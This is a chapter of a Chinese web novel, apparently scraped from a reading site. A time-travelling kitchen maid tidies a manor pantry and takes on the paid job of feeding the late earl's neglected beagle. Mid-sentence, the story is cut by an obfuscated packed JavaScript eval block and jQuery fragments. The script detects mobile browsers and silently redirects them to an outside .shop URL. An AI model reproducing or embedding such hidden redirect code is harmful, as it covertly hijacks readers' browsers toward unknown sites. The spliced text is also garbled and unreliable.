玛蒂默默绕着储藏室走了一圈，认真查看了每一层架子上的标签、瓶罐和摆放位置。
或许是先前交接得不够仔细，亦或是打理这间储藏室的人对食材特性不太熟悉，玛蒂很快发现了几个明显的问题。
她指着脚边的一袋苹果道：
“这袋苹果得换个地方，苹果会释放乙烯……呃就是一种奇特的气体，会加速其他水果的成熟，特别是香蕉、杏子、胡萝卜这类蔬菜水果，要是放得太近，很容易就熟化全烂了。”
奥利弗：“是吗？我还真不知道这个……”
玛蒂点点头，继续说道：“尤其储藏室通风不好，万一熟得快又没及时处理，一晚上就能坏一半。”
奥利弗恍然：“原来是这样，我还纳闷呢，前几天天气明明不算热，有一篮杏子怎么还会坏得那么快。”
说着，他便动手把那袋苹果搬到另一侧架子的下层。
这边玛蒂也蹲下身，将一筐筐土豆从光线照射的位置挪到了阴凉角落，这样能有效延长土豆的保存时间，避免提前发芽。
又整改了几处食材的摆放位置后，玛蒂注意到一些标签因为纸张老旧的缘故，黏得不牢，有些已经卷边脱落，上面的字迹也因为时间久远而模糊不清了。
玛蒂想了想，从架子一角翻出一沓空白纸签和备用墨水，把最常用那几排重写了标签，并按照“频率+类别”将几类物品重新分区排列，标签还统一写上了缩写字母编号，方便一眼辨认。
奥利弗站在一旁，看着她忙活，不由得感叹道：
“你这样一改，可比以前清楚多了。”
玛蒂笑了笑：“厨房忙起来时，不方便慢慢找，分类明晰了后大家一眼就能看见自己要找的哪类东西。”
奥利弗连连点头，主动上前帮忙调整架子和补贴纸签。
等两人将整间储藏室重新归置完毕，沃特森太太正好过来查看。
看着焕然一新的储藏室，她一眼便看出了其中的门道，眼底的惊讶一闪而过。
“整理得不错。”她的语气里流露出几分赞许，“我原本还想着是不是要再安排个帮工和你一起照看这边，现在看来没有这个必要了。”
沃特森太太检查完毕，正准备离开，玛蒂忙问道：
“沃特森太太，我没有看到入出库的账本，是另放了地方吗？”
“账本？”沃特森太太看了她一眼，“储藏室的账本原先是由梅布尔太太和另一位厨娘分管的。后来那位厨娘染病辞职了，现在就由我和梅布尔太太暂时负责。”
她语气中带着一点意味深长：
“账目是大事，暂时还轮不到你们这些帮工接手。等哪天谁晋升成正式的厨房女仆了，自然会有一部分账目交到她手里掌管。”
说完，她又道：“只要你一直像今天这样仔细，机会总会来的。”
玛蒂立刻明白了沃特森太太话里的弦外之音，现在的她还只是一名小小的帮工，要想碰到账本，就得先努力拿到更高一层的身份和信赖。
“我会好好干的，太太。”
她认真地答了一句。
沃特森太太满意地点了点头，离开了储藏室。
门一合上，玛蒂就在靠门的小桌上旁坐了下来，安静地在账册上登记进出人员与食材流动的情况。
她一边记录，一边在心里留意着哪种调料用得快，哪类食材快耗尽了需要尽快补上。
不知过了多久，门又被轻轻推开。
玛蒂抬头一看，发现是奥利弗。
她提笔停在空白的登记行，问道：
“你来拿什么？”
奥利弗在门口站了片刻，似乎是在犹豫要不要进来，然后才慢吞吞地走到她面前：
“我想来拿点食物，喂狗。”
“喂狗？”玛蒂问，“庄园难道没有专门喂狗的狗粮或狗饭吗？”
在十九世纪的英国，贵族养宠物是常见之事，尤其偏爱猎犬，因为狩猎会是一种重要的社交活动，为了保持犬只的状态和训练成果，不少庄园都会专门修建犬舍，由专人喂养、护理，甚至配有训练师，确保猎犬能在狩猎季中发挥作用。
奥利弗摇了摇头，他抬手挠了挠后脑勺道：
“我要喂的是老伯爵的猎犬。老伯爵去世后，原先负责照顾它的犬舍看守就不再管它了，之后这狗就一直交给杂役照看。中途换了好几个人，上周那个看狗的杂役又被调去海利尔利庄园帮忙……这只狗算是没人管了，我现在就是去接手的。”
玛蒂听罢想了想，起身走到架子前，从“当日需尽快用掉”的那一格里挑了几样递给奥利弗：
“不要给狗吃碎骨头，容易卡喉咙，重盐重香料的腌肉也不行，这里有一小把燕麦，过会加水可以煮成燕麦糊，狗不挑食的话，也能吃点煮熟的胡萝卜。”
奥利弗：“你好像对方面挺懂的？”
他好奇地问道：“你以前养过狗吗？”
玛蒂的表情一下子变得有些古怪。
养狗？她上辈子在国外留学能把自己养活就不错了，哪还有精力再养个活物。
至于她为什么对“狗吃什么”这么清楚……那纯属一段她打死也不想提的黑历史。
刚到英国那阵子，她在逛超市的时候，一时嘴馋买了袋看着像牛肉干的“饼干零食”，吃了一大把才发现包装袋上写的是“For Dogs”。事后她吓得连夜上网查狗粮配方，生怕自己吃出点什么毛病，还顺便看了不少自制狗粮的科普贴，自然也就意外掌握了不少相关知识。
只是这种丢人的事她怎么可能说出口？
玛蒂轻咳一声，含糊地掩过去：
“以前在书上看到过一点。”
奥利弗有些佩服地点点头，他将玛蒂递给他的食材都放入一个篮子里，正要转身离开，却又在门口停住，脚尖在地上蹭了蹭。
玛蒂看出他有话没说：
“怎么了？”
奥利弗像是鼓起了点勇气，期期艾艾地开口道：
“那个……你能不能陪我一起去喂狗？”
奥利弗的语速很快，话一出口就忍不住耳根发红。
他继续硬着头皮解释：
“我小时候被邻居家的狗咬过，所以有点怕狗，不对，是非常怕狗。”
看着对方一副快要晕过去的模样，玛蒂忽然对“怕狗人士”的求生欲有了更深的认识。
她刚想点头答应帮这个小忙，话到嘴边却又顿住，心里冒出了个念头。
等等，这不正是一个赚点外快的好机会吗？
玛蒂眨了眨眼，把原本的“好”字咽回去，换了个说法：
“陪你去倒不是不行，不过我看你这么怕狗，这次我帮了你，那下次、下下次呢？你总不能每回都临时抓个人壮胆吧。”玛蒂的语气听起来像是在替他着想，“不如干脆这活我帮你接下来，你也省心。”
见奥利弗眼睛一亮，玛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717533|208543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蒂立刻装作为难地补充道：
“可你也知道，我平时要忙的事情不少。要是每天都得跑去犬舍，还得给狗准备吃的……总得占点时间精力，你说，这么一来我是不是该收点报酬？”
奥利弗听完后先是一愣，然后露出了点犹豫的神色。
但他一想到不用自己每天和那条狗面面相觑，整个人又明显松动了：
“那你想要多少报酬呢？”
玛蒂心里苦笑一声。她对十九世纪的货币价值还摸不清楚，真怕自己一张嘴狮子大开口把人吓跑，又怕说少了白白吃亏，干脆把问题抛了回去：
“你觉得给我多少合适？”
奥利弗认真想了想，小声道：
“要不……一周给你1先令？”
按照十九世纪的行情，男仆薪资普遍高于女仆，在庄园工作多年的二等男仆的周薪大概在10到15先令之间（1）。
奥利弗居然愿意拿出近十分之一的周薪来找人帮忙喂狗，看来他怕狗怕得是真不轻。
玛蒂在心里估摸了一圈，觉得这个价码挺真诚的。
于是她面上露出点笑意，淡淡一点头道：
“成交。”
说着她把登记簿合上：
“走吧，你先带我去一趟犬舍认认路，顺便看看狗有多大，之后我再回来做对应份量的狗粮。”
见玛蒂答应了，奥利弗松了一大口气。
他还生怕玛蒂反悔似的，一路小跑着在前面带路。
路上，玛蒂侧头看了他一眼，随口道：
“对了，你这么怕狗怎么还接这活？”
玛蒂心里直犯嘀咕，这人看着也不像她这样缺钱啊，干嘛非得自讨苦吃。
奥利弗一脸苦相：“我也不是自愿的啊。我原本的职位是和一位一等男仆一起管理庄园的酒窖，但他不知为什么，总爱找借口支开我去干别的。前阵子让我去帮忙看管食品储藏室就算了，现在又找借口把我派来喂狗。”
玛蒂心里顿时有数了，奥利弗的这位领导多半不是个好相处的人，知道他怕狗还硬塞这差事，多少有些欺负人了。
奥利弗还在一旁继续小声跟她念叨：
“那只狗是老伯爵当年亲自从苏格兰带回来的比格犬，听说以前在打猎的时候咬死过兔子、狐狸，连鹿都扑过，你待会要当心一点。”
玛蒂脚步一顿，捕捉到了关键词：
“比格犬？”
她脑子里立刻浮现出一只短腿大耳朵、眼神无辜、最擅长捣蛋然后装可怜的狗的形象。
难怪奥利弗愿意花1先令每周的价格找人代替自己喂养呢。
如果是比格犬的话，她是不是要钱要少了？现在加钱还来得及吗？
玛蒂有些后悔自己当时没再多问两句，她按下忐忑的心情，跟随奥利弗穿过后院小道，绕到庄园侧边的一片低矮建筑前。
奥利弗停下了脚步，小心地推开木门，一股潮湿腥臭的味道扑面而来。
玛蒂呆住了。
这只比格犬住的犬舍又破又暗，是一间用木板和铁丝网拼凑出的临时建筑，四周围着半倒的栅栏，一旁的雨水沟还积着泥。
里面的狗毛发打着结，肋骨一根根清晰可见，眼神里透露着一股警惕。
完全不是她想象中那种肌肉结实的比格犬模样。
她拧起眉头，下意识问：
“你确定这是老伯爵养的狗，而不是伯爵养的老狗？”